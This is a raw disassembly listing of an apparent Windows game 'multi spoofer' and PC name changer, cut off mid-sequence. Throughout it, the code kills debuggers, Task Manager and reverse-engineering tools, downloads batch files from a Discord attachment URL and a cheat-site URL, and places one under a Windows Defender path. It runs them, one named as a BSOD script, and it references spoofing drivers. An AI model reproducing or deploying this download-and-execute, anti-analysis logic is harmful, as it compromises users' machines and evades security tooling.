movss xmm1, dword [0x14039ce38]
lea rcx, [rsp + 0x3b8]
call fcn.14005eef0
lea rdx, [rsp + 0x3b8]
lea rcx, str.Exit
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x140071048
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rax, qword [rsp + 0xeac0]
add rax, 0x60
mov rcx, rax
call fcn.14005d8d0
mov rdx, rax
mov rcx, qword [rsp + 0xeac0]
call fcn.1400aa900
jmp 0x1400aa1fd
movss xmm0, dword [0x14039cd24]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x14039cd1c]
movss xmm2, dword [0x14039cd10]
movss xmm1, dword [0x14039cd08]
lea rcx, [rsp + 0x87f8]
call fcn.14005ef10
mov rdx, rax
mov ecx, reloc.WS2_32.dll_socket
call fcn.1400bfd20
movss xmm0, dword [0x14039cd24]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x14039cd1c]
movss xmm2, dword [0x14039cd10]
movss xmm1, dword [0x14039cd08]
lea rcx, [rsp + 0x8808]
call fcn.14005ef10
mov rdx, rax
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.1400bfd20
movss xmm0, dword [0x14039cd24]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x14039cd1c]
movss xmm2, dword [0x14039cd10]
movss xmm1, dword [0x14039cd08]
lea rcx, [rsp + 0x8818]
call fcn.14005ef10
mov rdx, rax
mov ecx, reloc.WS2_32.dll_shutdown
call fcn.1400bfd20
mov r8b, 1
mov edx, 3
lea rcx, str._ADVANCED_MULTI_SPOOFER_V2
call fcn.14006be90
movss xmm0, dword [0x14039cd24]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x14039cd1c]
movss xmm2, dword [0x14039cd10]
movss xmm1, dword [0x14039cd08]
lea rcx, [rsp + 0x8828]
call fcn.14005ef10
mov rdx, rax
mov ecx, reloc.WS2_32.dll_socket
call fcn.1400bfd20
movss xmm0, dword [0x14039cd24]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x14039cd1c]
movss xmm2, dword [0x14039cd10]
movss xmm1, dword [0x14039cd08]
lea rcx, [rsp + 0x8838]
call fcn.14005ef10
mov rdx, rax
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.1400bfd20
movss xmm0, dword [0x14039cd24]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x14039cd1c]
movss xmm2, dword [0x14039cd10]
movss xmm1, dword [0x14039cd08]
lea rcx, [rsp + 0x8848]
call fcn.14005ef10
mov rdx, rax
mov ecx, reloc.WS2_32.dll_shutdown
call fcn.1400bfd20
call fcn.1400f63c0
mov r8b, 1
mov edx, 3
lea rcx, str.PC_Name_Changer__Account_Creator
call fcn.14006be90
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039ce70]
lea rcx, [rsp + 0x3c0]
call fcn.14005eef0
lea rdx, [rsp + 0x3c0]
lea rcx, str.Change_PC_Name
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x140071f72
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd0d0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd0b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd0b0]
call fcn.14005d8d0
mov qword [rsp + 0x3c8], rax
lea rcx, [rsp + 0xd0d0]
call fcn.14005d8d0
mov qword [rsp + 0x3d0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x3c8]
mov rdx, qword [rsp + 0x3d0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_PCRENAMER.bat
lea rcx, [rsp + 0xd090]
call fcn.14005d9d0
nop
lea rdx, str._tC:Program_FilesWindows_DefenderPCRENAMER.bat
lea rcx, [rsp + 0xd070]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd070]
call fcn.14005d8d0
mov qword [rsp + 0x3d8], rax
lea rcx, [rsp + 0xd090]
call fcn.14005d8d0
mov qword [rsp + 0x3e0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x3d8]
mov rdx, qword [rsp + 0x3e0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1403929f0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd050]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd030]
call fcn.14005d9d0
lea rcx, [rsp + 0xd030]
call fcn.14005d8d0
mov qword [rsp + 0x3e8], rax
lea rcx, [rsp + 0xd050]
call fcn.14005d8d0
mov qword [rsp + 0x3f0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x3e8]
mov rdx, qword [rsp + 0x3f0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
